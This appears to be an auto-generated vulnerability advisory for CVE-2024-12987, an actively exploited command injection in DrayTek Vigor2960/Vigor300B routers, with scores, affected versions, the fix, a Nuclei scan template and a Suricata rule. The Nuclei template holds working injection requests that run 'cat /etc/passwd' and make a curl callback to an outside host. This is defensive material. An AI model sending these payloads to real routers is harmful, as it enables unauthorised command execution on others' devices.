CVE-2024-12987: DrayTek Vigor Routers exploited

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

What it is

A vulnerability, which was classified as critical, was found in DrayTek Vigor2960 and Vigor300B 1.5.1.4. Affected is an unknown function of the file /cgi-bin/mainfunction.cgi/apmcfgupload of the component Web Management Interface. The manipulation of the argument session leads to os command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.5.1.5 is able to address this issue. It is recommended to upgrade the affected component.

Description quoted from the CVE record (assigned by VulDB, published 2024-12-27).

Weakness: OS Command Injection; Command Injection

How it can be exploited

Exploitable over the network with low attack complexity with no special attack requirements needing no privileges and no user interaction. Impact: confidentiality low, integrity low, availability low. CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since: 2025-05-15
US federal deadline: 2025-06-05
Ransomware use: Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2025-00008, CNNVD-202412-3075, EUVD-2024-51246, GHSA-3mp3-6fg3-7hxj

VEDAS cluster: VEDAS:FLAMINGOARIES

Exploit Observer links 6 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (6)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Vulnerability databases and vendor advisories (6)

Catalogue entries, not exploit evidence.

Vulnerability database or vendor advisory: https://access.redhat.com/security/cve/cve-2024-12987
Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2024-51246
Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-3mp3-6fg3-7hxj
Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2024-12987
Vulnerability database or vendor advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-12987
Vulnerability database or vendor advisory: https://www.cnnvd.org.cn/home/globalSearch?keyword=CNNVD-202412-3075

15 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS: 0.982
very likely to be attacked soon
VEDAS: 0.978
strong exploit evidence
On CISA KEV: Yes, since 2025-05-15
Detection rule: Nuclei · Suricata

EPSS (chance of attack)

VEDAS (exploit evidence)

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.

Who is affected

Product	Affected	Not affected
DrayTek Vigor2960	version 1.5.1.4	Not stated
DrayTek Vigor300B	version 1.5.1.4	Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: draytek vigor2960_firmware, draytek vigor300b, draytek vigor300b_firmware, draytek vigor_2960.

How to fix it

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

DrayTek Vigor2960 - Command Injection
A vulnerability, which was classified as critical, was found in DrayTek Vigor2960 and Vigor300B 1.5.1.4. Affected is an unknown function of the file /cgi-bin/mainfunction.cgi/apmcfgupload of the component Web Management Interface.

Name and description quoted from the template, written by VEDAS.

The template sends 2 requests (GET /cgi-bin/mainfunction.cgi/apmcfgupload?session=xxxxxxxxxxxxxxxxxxxx..., GET /cgi-bin/mainfunction.cgi/apmcfgupload?session=xxxxxxxxxxxxxxxxxxxx...); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using dsl matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash

nuclei -u https://your-host -t CVE-2024-12987.yaml

Show the template (49 lines)

yaml

id: CVE-2024-12987

info:
  name: "DrayTek Vigor2960 - Command Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    A vulnerability, which was classified as critical, was found in DrayTek Vigor2960 and Vigor300B 1.5.1.4.
    Affected is an unknown function of the file /cgi-bin/mainfunction.cgi/apmcfgupload of the component Web
    Management Interface.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2024-12987&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=draytek&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-12987
    cwe-id: CWE-78
  metadata:
    verified: false
  tags: cve,cve2024,draytek,rce,router,kev,vkev,vuln
http:
  - raw:
      - |+
        GET /cgi-bin/mainfunction.cgi/apmcfgupload?session=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx0.%52$c%52$ccat${IFS}/etc/passwd HTTP/1.0
        Host: {{Hostname}}

      - |+
        GET /cgi-bin/mainfunction.cgi/apmcfgupload?session=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx0.%52$c%52$ccurl${IFS}{{interactsh-url}} HTTP/1.0
        Host: {{Hostname}}

    stop-at-first-match: true
    unsafe: true

    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - regex('root:.*:0:0:', body)
          - contains(header, 'DWS')
          - status_code == 200
        condition: and

      - type: dsl
        dsl:
          - contains(interactsh_protocol, 'dns')
          - contains(header, 'DWS')
          - status_code == 200
        condition: and

CVE-2024-12987.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2024-12987 DrayTek Vigor2960 - Command Injection. Add them to your Suricata rule set and reload.

Show the rules

suricata

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2024-12987 DrayTek Vigor2960 - Command Injection"; flow:established,to_server; http.uri; content:"mainfunction.cgi"; nocase; fast_pattern; content:"passwd"; nocase; classtype:web-application-attack; reference:cve,CVE-2024-12987; reference:url,https://www.exploit.observer/?keyword=CVE-2024-12987&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=draytek&match=exact; sid:1009623; rev:1;)

CVE-2024-12987.rules on GitHub

References

Exploits and technical analysis

VDB-289380 | DrayTek Vigor2960/Vigor300B Web Management Interface apmcfgupload os command injection (vdb-entry, technical-description)
Submit #468795 | DrayTek Vigor2960, Vigor300B 1.5.1.4 Command Injection (third-party-advisory)
https://netsecfish.notion.site/Command-Injection-in-apmcfgupload-endpoint-for-DrayTek-Gateway-Devices-1676b683e67c8040b7f1f0ffe29ce18f?pvs=4 (exploit)

Government sources

https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-12987 (government-resource)

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.